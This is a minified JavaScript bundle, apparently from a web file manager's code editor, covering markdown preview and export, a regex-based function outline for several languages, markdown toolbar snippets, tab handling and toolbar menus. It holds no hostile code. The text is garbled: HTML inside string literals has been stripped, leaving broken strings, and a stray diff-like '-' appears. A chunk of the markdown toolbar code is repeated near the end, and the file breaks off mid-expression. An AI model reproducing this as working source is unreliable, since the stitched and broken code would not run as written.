    ",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof i&&i()})},s=function(){var e="newfile",t=Editor.current().kod.filename;return""!=t&&(t=core.pathThis(t),e=t.substr(0,t.indexOf("."))),e},r=function(t){var i=e("./tpl/markdown_preview.html"),a=template.compile(i),n=a({addStyle:G.app_host+"static/js/lib/markdown/katex/katex.min.css",content:t,title:s(),black_theme:Editor.isBlackTheme()});return n=n.replace(/ data-link="#(.*?)">/g,'>')},l=function(e,t){var i=s()+"."+t;switch(t){case"html":$.htmlDownload(r(e),i);break;case"md":var a=Editor.current(),n=a.getValue();$.htmlDownload(n,i);break;case"pdf":$.htmlPrint(r(e));break;default:}};return function(){var s,c,d,p,u=!1,f=!1,h=function(){if(s=Editor.current(),s&&void 0!==s.focus){var e=s.kod.uuid;c=$("#"+e).parent().find(".markdown_preview"),d=$("#"+e).parent().find(".edit_right_frame .right_main"),v(),_(),a()}},m=function(t){e.async("lib/markdown/markdown-it.min",function(){if(c&&0!=c.length){var e=window.markdownit({html:!0,breaks:!0}),a=s.getValue(),r=e.render(a),l=$(".markdown_make_buffer");0==l.length&&($("").appendTo("body"),l=$(".markdown_make_buffer")),l.html(r),i(l),n(l,function(){c.html(l.html())}),(0==c.html().length||t===!0)&&c.html(l.html()),c.html(l.html()),o(l,function(){c.html(l.html()),l.remove(),w()})}})},_=function(){var e,t=function(){return!d.find(".preview_markdown_frame").hasClass("hidden")};s.session.on("changeScrollTop",function(){!f&&t()&&(u=!0,x(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3))}),s.on("change",function(){!f&&t()&&(u=!0,w(function(){x(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3)}))})},v=function(){return},g=[],b=[],y=function(){if(void 0!==s.kod.mode&&"markdown"==s.kod.mode){g=[];for(var e="\n...\n"+s.getValue(),t=0,i=window.markdownit(),a=i.parse(e,{references:{}}),n=["h1","h2","h3","h4","h5","h6"],o=0;a.length>o;o++)if($.inArray(a[o].tag,n)>=0&&"heading_open"==a[o].type){var r=s.session.documentToScreenPosition(a[o].map[0]-1,2),l=r.row*s.renderer.lineHeight;g.push({start:t,end:l,height:l-t}),t=l}}},k=function(){if(d&&0!=d.length){b=[];var e=0,t=d.scrollTop();c.find("h1,h2,h3,h4,h5,h6").each(function(){var i=$(this).position().top+t+parseInt($(this).css("margin-top"));b.push({start:e,end:i,height:i-e}),e=i})}},w=function(e){clearTimeout(p),p=!1,p=setTimeout(function(){y(),k(),"function"==typeof e&&e()},200)},x=function(e){var t=s.session.getScrollTop(),i=d.scrollTop(),a=function(e,t,i,a){for(var n,o=-1,s=0;e.length>s&&(o=s,n=e[s],!(e[s].end>t));s++);if(!(-1===o||o>=i.length)){var r=(t-n.start)/n.height,l=i[o],c=l.start+l.height*r;o==e.length-1&&t>=n.end-5&&(c=l.end),a(c)}};e?a(g,t,b,function(e){d.stop(!0).animate({scrollTop:e},100,"linear")}):i+d.height()>=d.prop("scrollHeight")-5?s.gotoLine(s.session.getLength()):a(b,i,g,function(e){s.session.setScrollTop(e)})};return h(),{refresh:m,refreshScroll:w,markdownMenu:t,markdown2html:r,markdownDownload:l}}}),define("app/src/edit/tpl/markdown_preview.html",[],'\n\n \n {{title}}\n\n\n\n\nPrint\n\n{{#content}}\n\n\n\n'),define("app/src/edit/function_list",[],function(){var e={php:[{reg:/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,reg_name:/.*function\s+(.*\))/,reg_index:1,type_extents:{function_value:/\s*(private|protected)\s*/,function_var:/\s*(public)\s*/},type:"function"},{reg:/\s*class\s+(\w*)\s*.*\{/g,reg_name:/\s*class\s+(\w*)\s*.*\{/,reg_index:1,type:"class"}],javascript:[{reg:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_var"},{reg:/\s*function\s+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*function\s+([\w\s]+)\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_define"},{reg:/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,reg_index:1,reg_name_all:[1,2],type:"function function_value"}],python:[{reg:/\s*class\s+(\w+)\s*\(/g,reg_name:/\s*class\s+(\w+)\s*\(/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*\(.*\)/g,reg_name:/\s*def\s+(\w+)\s*\(.*\)/,reg_index:1,type:"function"}],ruby:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*/g,reg_name:/\s*def\s+(\w+)\s*/,reg_index:1,type:"function"}],golang:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*func\s+(\w+)\s*.*\{/g,reg_name:/\s*func\s+(\w+)\s*/,reg_index:1,type:"function"}],java:[{reg:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,reg_name:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,reg_index:3,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],csharp:[{reg:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,reg_name:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,reg_index:2,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],actionscript:[{reg:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,reg_name:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,reg_index:1,type:"function"},{reg:/\s*class\s+(\w+)\s*.*\{/g,reg_name:/\s*class\s+(\w+)\s*.*\{/,reg_index:1,type:"class"}],objectivec:[{reg:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,reg_name:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,reg_index:1,type:"function"},{reg:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,reg_name:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,reg_index:1,type:"function"},{reg:/@implementation\s+(\w*)/g,reg_name:/@implementation\s+(\w*)/,reg_index:1,type:"class"},{reg:/#pragma\s+(mark\s+)?(.*)/g,reg_name:/#pragma\s+(mark\s+)?(.*)/,reg_index:2,type:"mark"}],c_cpp:[{reg:/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s+(\w+)\s*\(/,reg_index:1,type:"function"},{reg:/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s*(\w+)::~?(\w+)\s*\(/,reg_index:2,type:"function function_define"},{reg:/\s*class\s+(\w+)\s*:/g,reg_name:/\s*class\s+(\w+)\s*:/,reg_index:1,type:"class"}]},t=function(e,t){var i=e.match(t.reg);if(i){for(var a=[],n=i.length,o=0,s=e,r=0;n>r;r++){var l={};l.the_match=i[r];var c=l.the_match.match(t.reg_name);if(c&&!(c.lengthf;f++)l.name+=c[u[f]]}o=o+d+l.the_match.length,s=e.substr(o),l.type=t.type,t.type_extents!==void 0&&$.each(t.type_extents,function(e,t){l.the_match.match(t)&&(l.type+=" "+e)}),a.push(l)}}return a}},i=function(i,a){if(void 0!==e[a]){for(var n=e[a],o=[],s=0;n.length>s;s++){var r=t(i,n[s]);r&&Array.prototype.push.apply(o,r)}o.sort(function(e,t){var i="pos_start";return e[i]=t[i]?1:void 0});for(var l=i.split("\n"),c=0,d=o[c],p=0,u=0;l.length>u&&d;u++){for(;d&&d.pos_start>=p&&d.pos_start<=p+l[u].length;)o[c].range={start:{row:u,column:d.pos_start-p},end:{row:u,column:d.pos_end-p}},c++,d=o[c];p=p+l[u].length+1}return o}},a=function(e){return e=e.replace(/[\r\n {]+/gi," "),e=e.replace(/"/gi,"'"),e=e.replace(/\/gi,">")};return function(t){var n="",o='
    No outline for the active view
    ',s=$("#"+t.kod.uuid).parent(),r=s.find(".function_search input"),l=s.find(".function_list_box"),c=function(){var e=Editor.current();if(!e||e.kod===void 0)return l.html(o),void 0;var t=function(e){var t=e.replace(/(^\s*)|(\s*$)/g,"");return t.replace(/(\{$)/,"")},s=e.kod.mode,c=i(e.getValue(),s);if(c===void 0||0==c.length)return l.html(o),void 0;var p=e.getCursorPosition().row;n="";for(var f=0;c.length>f;f++){var h=c[f],m=h.range;if(m){c.length-1>f&&p>=c[f].range.start.row&&c[f+1].range&&c[f+1].range.start.row>p&&(h.type+=" row_select"),f==c.length-1&&p>=c[f].range.start.row&&(h.type+=" row_select");var _=m.start.row+","+m.start.column+","+m.end.row+","+m.end.column,v=t(t(h.the_match)).substr(0,150);n+='
    '+''+''+a(h.name)+"
    "}}r.val()||d(r.val()),u()},d=function(e){if(""==n)return l.html(o),void 0;if(!e||""==e)return l.html(n),u(),void 0;var t=$("
    "+n+"
    ");t.find(".cell").each(function(){var t=$(this).text(),i=t.toLowerCase().indexOf(e.toLowerCase());-1!=i?(t=t.substr(0,i)+""+t.substr(i,e.length)+""+t.substr(i+e.length),$(this).html(t)):$(this).parent().remove()}),l.html(t.html()),p($(l.find(".list_row").get(0)))},p=function(e){if(1==e.length){l.find(".list_row").removeClass("row_select"),e.addClass("row_select");var t=e.attr("data-range"),i=t.split(","),a={start:{row:parseInt(i[0]),column:parseInt(i[1])},end:{row:parseInt(i[2]),column:parseInt(i[3])}};Editor.current()&&(Editor.current().revealRange(a),r.textFocus())}},u=function(){var e=l;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),a=e.find(".row_select").index(),n=e.find(".list_row:eq(0)").outerHeight(),o=e.scrollTop();t>a*n?o=a*n:(a+1)*n>i&&(o=a*n-e.height()+n),e.scrollTop(o)}},f=function(){var e="mouse_is_down";l.delegate(".list_row","mouseover mousedown mouseout mouseup",function(t){var i=$(this);switch(t.type){case"mouseover":i.parent().hasClass(e)?p(i):i.addClass("row_hover");break;case"mousedown":p(i),i.parent().addClass(e);break;case"mouseout":i.removeClass("row_hover");break;case"mouseup":i.parent().removeClass(e);break;default:}}),l.bind("mouseup",function(){r.textFocus()}),l.bind("mousedown",function(t){return 1!=t.which?!0:(l.setCapture&&l.setCapture(),$(document).one("mouseup",function(){l.removeClass(e),l.releaseCapture&&l.releaseCapture()}),void 0)});var t=function(){var e=r.val();d(e),""==e?s.find(".search_reset").addClass("hidden"):s.find(".search_reset").removeClass("hidden")};r.unbind("keydown").bind("keydown",function(e){switch(e.keyCode){case 37:break;case 39:break;case 38:0!=s.find(".row_select").prev().length&&(p(s.find(".row_select").prev()),u()),stopPP(e);break;case 40:0!=s.find(".row_select").next().length&&(p(s.find(".row_select").next()),u()),stopPP(e);break;case 27:case 13:p(s.find(".row_select")),r.val(""),t(),Editor.current()&&Editor.current().focus(),stopPP(e);break;default:setTimeout(t,5)}}),s.find(".search_reset").unbind("click").bind("click",function(){r.val(""),t(),Editor.current()&&Editor.current().focus()})};return f(),{refresh:c,support:function(t){return-1==$.inArray(t,objectKeys(e))?!1:!0 -}}}}),define("app/src/edit/markdownTools",[],function(){var e=function(){return Editor.current()},t={bold:{type:"inline",tag:"**",insert:"**${1:Bold Text}**",title:"Bold (Ctrl-B)","class":"bold"},italic:{type:"inline",tag:"*",insert:"*${1:Italic Text}*",title:"Italic (Ctrl-I)","class":"italic"},strikethrough:{type:"inline",tag:"~~",insert:"~~${1:Strikethrough Text}~~",title:"Strikethrough","class":"strikethrough"},h1:{type:"head",insert:"# ",title:"Header 1

    ","class":"text-height"},h2:{type:"head",insert:"## ",title:"Header 2

    "},h3:{type:"head",insert:"### ",title:"Header 3

    "},h4:{type:"head",insert:"#### ",title:"Header 4

    "},h5:{type:"head",insert:"###### ",title:"Header 5

    "},quote:{type:"head",insert:"> ",title:"Quote
    (Ctrl-Q)","class":"quote-left"},list_order:{type:"head",insert:" 1. ",title:"Unordered list
      (Ctrl-O)","class":"list-ol"},list_unorder:{type:"head",insert:" - ",title:"Ordered list
        (Ctrl-U)","class":"list-ul"},list_task:{type:"head",insert:"- [ ] ",title:"Incomplete task list","class":"check-empty"},list_task_complete:{type:"head",insert:"- [x] ",title:"Complete task list","class":"check"},line:{type:"insert",insert:"\n\n\n----\n$1",title:"Line
        ","class":"minus"},link:{type:"insert",insert:"[${1:}](http://$2)",title:"Link (Ctrl-L)","class":"link"},image:{type:"image",insert:"![${1:}](http://$2)",title:"Image (Ctrl-G)","class":"picture"},table:{type:"insert",insert:"\n\n\n| header 1 | header 2 |\n| ----------- | ----------- |\n| row 1 col 1 | row 1 col 2 |\n| row 2 col 1 | row 2 col 2 |\n\n",title:"Table ","class":"table"},code:{type:"inlineBlock",title:"Code
         (Ctrl-K)","class":"code",inline:{tag:"`",insert:"`${1:Code}`"},block:{tag:"\n```\n",insert:"\n```\n${1:code}\n```\n"}},math:{type:"inlineBlock",title:"Math (Ctrl-M)","class":"superscript",inline:{tag:"$$",insert:"$$${1:Math}$$"},block:{tag:"\n```\n",insert:"\n```math\n${1:}\n```\n"}}},i=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;if(""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),""!==i){var n=e.getSelectionRange(),o={start:{row:n.start.row,column:n.start.column-t.tag.length},end:n.start},s={start:n.end,end:{row:n.end.row,column:n.end.column+t.tag.length}};e.session.getTextRange(o)==t.tag&&e.session.getTextRange(s)==t.tag&&(e.selection.setSelectionRange({start:o.start,end:s.end}),a="${1:"+i+"}")}ace.snippetManager.insertSnippet(e,a)},a=function(e,t){for(var i=e.getSelectionRange(),a=[],n=i.end.row-i.start.row+1,o=0,s=0;n>s;s++){var r={start:{row:i.start.row+s,column:0},end:{row:i.start.row+s,column:t.insert.length}};a.push(r),e.session.getTextRange(r)==t.insert&&o++}for(var s=0;n>s;s++){var l=a[s];n==o?e.session.doc.remove(l):e.session.doc.insert({row:l.start.row,column:0},t.insert)}},n=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),ace.snippetManager.insertSnippet(e,a)},o=function(e,t){var a=e.session.getTextRange(e.getSelectionRange()),n=e.getSelectionRange(),o=e.session.getLine(n.start.row),s={type:"inline",tag:t.inline.tag,insert:t.inline.insert,title:t.title};(n.start.row!=n.end.row||a===o.replace(/(^\s*)|(\s*$)/g,""))&&(s={type:"inline",tag:t.block.tag,insert:t.block.insert,title:t.title}),i(e,s)},s=function(){var e=["bold","italic","strikethrough","|","h1","line","quote","list_order","list_unorder","|","link","image","code","table","math"],i="";return $.each(e,function(e,a){if("|"==a)i+="|";else{var n=t[a],o="class='md-tools md-tools-"+a+" "+(n["class"]?"icon-"+n["class"]:"")+"' ";i+=""}}),i},r=function(e){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){core.fileLink(t,function(i){var a=core.pathThis(t),n="!["+a+"]("+i+")";ace.snippetManager.insertSnippet(e,n)})})},l=function(s){var l=t[s],c=e();if(l&&c){switch(l.type){case"inline":i(c,l,s);break;case"head":a(c,l,s);break;case"insert":n(c,l,s);break;case"inlineBlock":o(c,l,s);break;case"image":r(c);break;default:}e().focus()}},c=function(e){e.find(".md-tools[data-action]").bind("click",function(){var e=$(this).attr("data-action");l(e)})},d=function(e){$.each(t,function(i){var a=t[i];if(a.title&&a.title.match(/\((.*)\)/)){var n=a.title.match(/\((.*)\)/)[1],o=n.replace("Ctrl","Command");e.commands.addCommand({name:i,bindKey:{win:n,mac:o},exec:function(e){"ace/mode/markdown"==e.session.$modeId&&l(i)}})}})};return{bindEvent:function(e,t){e.find(".toolbar .content").html(s()),c(e),"ace/mode/markdown"==t.session.$modeId&&d(t)},doAction:l}}),define("app/src/edit/tpl/markdown_help_cn.html",[],'
        \n
        1.标题与文字格式
        \n

        标题

        \n
        \n# 一级标题\n## 二级标题\n### 三级标题\n#### 四级标题\n##### 五级标题\n
        \n

        文字格式

        \n
        \n*斜体*\n**粗体**\n***粗斜体*** \n~~删除线~~\n
        \n

        水平线

        \n
        \n--- \n
        \n了解更多\n
        \n\n
        \n
        2.列表
        \n

        无序列表

        \n
        \n- item 1\n- item 2\n* item 3\n(可以是[减号,星号,加号]+空格)\n
        \n

        有序列表

        \n
        \n1. item 1 [数字+空格]\n2. item 2\n3. item 3\n   - child 1\n   - child 2\n
        \n
        \n\n
        \n
        3.其他
        \n

        图片

        \n
        \n![图片名称](http://图片网址)\n
        \n\n

        连接

        \n
        \n[链接名称](http://链接网址)\n<http://链接网址>\n
        \n\n

        引用

        \n
        \n> 引用\n> 折行可以不加,新起一行要加\n
        \n\n

        代码

        \n
        \n行内代码:`code`\n```\nvar msg = "多行代码";\nalert(msg);\n```\n
        \n\n

        公式

        \n
        \n行内公式 $$E=mc^2$$ ;\n\n多行公式\n$$E=mc^2$$\n\n多行公式2\n```math\nE=mc^2\n```\n
        \n编辑器\n | 公式教程\n
        \n'),define("app/src/edit/tpl/markdown_help.html",[],'
        \n
        1.Headers and Emphasis
        \n

        Headers

        \n
        \n# Header 1\n## Header 2\n### Header 3\n#### Header 4\n##### Header 5\n
        \n

        Emphasis

        \n
        \n*Emphasis*\n**Strong**\n***Emphasis Strong*** \n~~Strikethrough~~\n
        \n

        Line

        \n
        \n--- \n
        \nLearn More\n
        \n\n
        \n
        2.Lists
        \n

        Unordered list

        \n
        \n- item 1\n- item 2\n* item 3\n(also[- ,* ,+ )\n
        \n

        Ordered list

        \n
        \n1. item 1\n2. item 2\n3. item 3\n   - child 1\n   - child 2\n
        \n
        \n\n
        \n
        3.Others
        \n

        Image

        \n
        \n![Alt text](http://img.png)\n
        \n\n

        Links

        \n
        \n[Link text](http://url)\n<http://url>\n
        \n\n

        Blockquotes

        \n
        \n> Are you \n> ok ?\n
        \n\n

        Code

        \n
        \ninline code:`code`\n```\nvar msg = "Block code";\nalert(msg);\n```\n
        \n\n

        LaTeX Math

        \n
        \ninline $$E=mc^2$$ ;\n\nblock\n$$E=mc^2$$\n\nblock2\n```math\nE=mc^2\n```\n
        \nMath Editor \n
        \n'),define("app/src/edit/tpl/edit_tab_content.html",[],'
        \n
        \n	\n	\n
        \n\n'),define("app/src/edit/taskTap",[],function(){var e=function(){$(".edit_tab .tab").live("mouseenter",function(){$(this).addClass("hover"),$(this).unbind("mousedown").mousedown(function(e){1!=e.which||$(this).hasClass("this")||$.nodeName(e.target,"A")||($(this).removeClass("hover").addClass("this"),Editor.select($(this).attr("uuid")))}).unbind("mouseup").mouseup(function(e){2==e.which&&Editor.remove($(this).attr("uuid"))})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}).die("dblclick").live("dblclick",function(e){stopPP(e)}),$(".edit_tab").die("dblclick").live("dblclick",function(e){Editor.add(),stopPP(e)}),$(".edit_tab .tab .close").live("click",function(){var e=$(this).parent().attr("uuid");Editor.remove(e)})},t=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},i=function(){$("body").click(t).contextmenu(t),$.contextMenu({zIndex:9999,selector:".edit_tab_menu",items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"---------",close:{name:LNG.close,icon:"remove",className:"close",accesskey:"d"},close_left:{name:LNG.close_left,icon:"remove-sign",className:"close_left",accesskey:"l"},close_right:{name:LNG.close_right,icon:"remove-sign",className:"close_right",accesskey:"r"},close_others:{name:LNG.close_others,icon:"remove-circle",className:"close_others",accesskey:"o"},sep2:"--------",open_the_path:{name:LNG.open_the_path,icon:"plus",className:"remove",accesskey:"n"},preview:{name:LNG.preview,icon:"globe",className:"remove",accesskey:"p"}},callback:function(e,t){var i=t.$trigger,a=i.attr("uuid");switch(e){case"refresh":Editor.refresh(a);break;case"close":Editor.remove(a);break;case"close_left":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:lt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_right":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:gt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_others":$(".edit_tab .tabs .tab").each(function(){var e=$(this).attr("uuid");e!=a&&Editor.remove(e)});break;case"open_the_path":var o=i.attr("title");if(""==o)return Tips.tips(LNG.not_exists,"warning"),void 0;var s=core.pathFather(o),r=ShareData.frameTop();r.core.openPath(s);break;case"preview":Toolbar.doAction("preview");break;default:}}})},a=function(){var e,t,i,a,n=!1,o=!1,s=0,r=0,l=0,c=0,d=0,p=0,u=0,f=0;$(".edit_tab .tab").die("mousedown").live("mousedown",function(t){$.nodeName(t.target,"A")||(e=$.nodeName(t.target,"SPAN")?$(t.target).parent():$(this),1==t.which&&(n=!0,this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(e){v(e),this.releaseCapture&&this.releaseCapture()})))});var h=function(a){o=!0,s=a.pageX,l=a.pageY,$tab_parent=$(".edit_tab"),t=$(".edit_tab .tab"),$(".draggable-dragging").remove(),i=e.clone().addClass("draggable-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),r=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width")),c=$sizeInt(t.css("height"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),h=a.clientX-s+r;$("body").prepend("
        "),i.css({width:d+"px",top:n,left:h}),e.css("opacity",0)},m=function(a){if(n){0==o&&h(a);var u=a.clientX-s+r,f=a.clientY-l+c;i.css({left:u,top:f}),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(u>t&&t+d/2+p>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"left")}if(u>t-d/2+p&&t>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"right")}})}},_=function(i,n){if(!e.is(":animated")||a!=i){a=i,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".edit_tab .tab");var o=e.width(),s=$(".edit_tab .tab_"+i),r=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(s).css("width","0px"):(e.before(s).css("width","0px"),s.before(r)),e.animate({width:o+"px"},animate_time),r.animate({width:"0px"},animate_time,function(){$(this).remove(),t=$(".edit_tab .tab")})}},v=function(){if(n=!1,o=!1,startTime=0,$(".dragMaskView").remove(),Editor.current()&&Editor.current().focus(),void 0!=i){var t=e.get(0).getBoundingClientRect().left,a=e.get(0).getBoundingClientRect().top;i.animate({left:t+"px",top:a+"px"},animate_time,function(){e.css("opacity",1),$(this).remove()})}}},n=function(e,t,i){"remove"==e&&t.removeClass("edit_tab_menu");var a=1.4*animate_time,n=150,o=n,s=$(".edit_tab .tab.edit_tab_menu"),r=$sizeInt($(".edit_tab .tabs").width()),l=$sizeInt(s.css("margin-right"))+$sizeInt(s.css("border-right")),c=$sizeInt($(".edit_tab .add").css("width"))+30,d=s.length,p=Math.floor((r-c)/(n+l));switch(d>p&&(o=Math.floor((r-c)/d)-l),e){case"add":$(".edit_tab .tabs .this").css({"margin-top":"30px",width:o}).stop(1,1).animate({"margin-top":"0px"},a),s.animate({width:o+"px"},a);break;case"remove":void 0!=i&&Editor.select(i),t.stop(1,1).animate({width:"0","margin-top":"+=30"},a,function(){t.remove()}),s.stop(1,1).animate({width:o+"px"},a);break;case"resize":s.css("width",o+"px");break;default:}};return{rightMenu:{hidden:t},resetWidth:n,init:function(){e(),a(),i()}}}),define("app/src/edit/toolbar",[],function(){var e=function(){i(),$(".toolMenu").bind("click mouseup",stopPP),$(".toolMenu").on("mousedown",function(){$(".toolMenu").removeClass("select"),$(this).addClass("select"),$(this).contextMenu({action:e})});var e=function(e,t){if(t.parent().hasClass("top_toolbar"))e.css({left:t.offset().left-4,top:t.outerHeight()-1});else if(t.parent().hasClass("bottom_toolbar")){var i=t.offset().left-e.outerWidth()+t.outerWidth()-5;e.css({left:i,top:t.offset().top-e.outerHeight()})}e.find("input").length>=1&&setTimeout(function(){e.find("input").focus()},10)};$.contextMenu({selector:".menuViewGotoline",trigger:"none",callback:n,items:{gotoline:{name:LNG.goto,className:"disable gotoline_input",type:"text"}}}),$.contextMenu({selector:".menuViewTab",trigger:"none",callback:n,items:{soft_tab:{name:"Soft Tabs (spaces)",className:"soft_tab"},sep1:"---------",tab_size_2:{name:"Tab with:2",className:"tab_size_set tab_size_2"},tab_size_3:{name:"Tab with:3",className:"tab_size_set tab_size_3"},tab_size_4:{name:"Tab with:4",className:"tab_size_set tab_size_4"},tab_size_8:{name:"Tab with:8",className:"tab_size_set tab_size_8"},sep2:"---------",convert_to_space:{name:"Convert To Space",className:"convert_to_space"},convert_to_tab:{name:"Convert To Tabs",className:"convert_to_tab"}}});for(var t=G.code_font_all.split(","),a={},s=0;t.length>s;s++){var r=t[s],l=replaceAll(r," ","_");a["set_font_family_"+r]={name:r,className:"set_font_family_"+l}}$.contextMenu({selector:".menuViewSetting",trigger:"none",callback:n,items:{tools:{name:LNG.tools,icon:"ellipsis-horizontal",accesskey:"m",items:{preview:{name:LNG.preview+"Ctrl+Shift+S",icon:"edit"},open_ie:{name:LNG.open_ie,icon:"external-link",accesskey:"b"},sep1:"---------",beautify_html:{name:"html "+LNG.beautify_code,icon:"angle-right"},beautify_css:{name:"css "+LNG.beautify_code,icon:"angle-right"},beautify_js:{name:"js "+LNG.beautify_code,icon:"angle-right"},sep10:"---------",beautify_php:{name:"php "+LNG.beautify_code,icon:"angle-right"}}},sep1:"---------",function_list:{name:LNG.function_list+"Ctrl+Shift+E",className:"function_list"},show_gutter:{name:LNG.show_gutter,className:"show_gutter"},auto_wrap:{name:LNG.wordwrap,className:"auto_wrap"},display_char:{name:LNG.char_all_display,className:"display_char"},sep2:"---------",font_family:{name:LNG.font_family,icon:"italic",className:"code_font_family_list",accesskey:"m",items:a},ace_mode:{name:LNG.keyboard_type,icon:"code",accesskey:"m",items:{keyboard_type_ace:{name:"Default",className:"keyboard_type_ace"},keyboard_type_vim:{name:"vim",className:"keyboard_type_vim"},keyboard_type_emacs:{name:"emacs",className:"keyboard_type_emacs"}}},sep3:"---------",help:{name:LNG.help,icon:"question",items:{shortcut:{name:LNG.shortcut,icon:"keyboard"},about:{name:LNG.about,icon:"info-sign"},emmet:{name:"Emmet help",icon:"code"},sep4:"-----------",learnMore:{name:LNG.learn_more,icon:"external-link"}}}}}),$(".tools [action]").bind("click",function(e){var t=$(this).attr("action");return n(t),Editor.current()&&Editor.current().focus(),stopPP(e),!1}),$(".tab_size_set").click(function(){var e=$(this).text().split(":");Editor.saveConfig("tab_size",e[1]),Editor.current()&&Editor.current().focus(),Editor.current().execCommand("convertIndent","reset_size")}),$("ul.code_font_family_list .context-menu-item").click(function(){Editor.saveConfig("font_family",$(this).find("span").html(),""),Editor.current()&&Editor.current().focus(),o()}),$("body").click(function(e){try{$(".toolMenu").removeClass("select"),window.parent.rightMenu.hidden(),e&&$(e.target).is("textarea")||$(e.target).is("input")||0!=$(e.target).parents(".right_main").length||Editor.current()&&Editor.current().focus()}catch(e){}}),$(".gotoline_input input").keyup(function(){Editor.current().gotoLine($(this).val())})},t=function(){var e=Editor.aceModeList.modes,t='
        ","class":"table"},code:{type:"inlineBlock",title:"Code
         (Ctrl-K)","class":"code",inline:{tag:"`",insert:"`${1:Code}`"},block:{tag:"\n```\n",insert:"\n```\n${1:code}\n```\n"}},math:{type:"inlineBlock",title:"Math (Ctrl-M)","class":"superscript",inline:{tag:"$$",insert:"$$${1:Math}$$"},block:{tag:"\n```\n",insert:"\n```math\n${1:}\n```\n"}}},i=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;if(""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),""!==i){var n=e.getSelectionRange(),o={start:{row:n.start.row,column:n.start.column-t.tag.length},end:n.start},s={start:n.end,end:{row:n.end.row,column:n.end.column+t.tag.length}};e.session.getTextRange(o)==t.tag&&e.session.getTextRange(s)==t.tag&&(e.selection.setSelectionRange({start:o.start,end:s.end}),a="${1:"+i+"}")}ace.snippetManager.insertSnippet(e,a)},a=function(e,t){for(var i=e.getSelectionRange(),a=[],n=i.end.row-i.start.row+1,o=0,s=0;n>s;s++){var r={start:{row:i.start.row+s,column:0},end:{row:i.start.row+s,column:t.insert.length}};a.push(r),e.session.getTextRange(r)==t.insert&&o++}for(var s=0;n>s;s++){var l=a[s];n==o?e.session.doc.remove(l):e.session.doc.insert({row:l.start.row,column:0},t.insert)}},n=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),ace.snippetManager.insertSnippet(e,a)},o=function(e,t){var 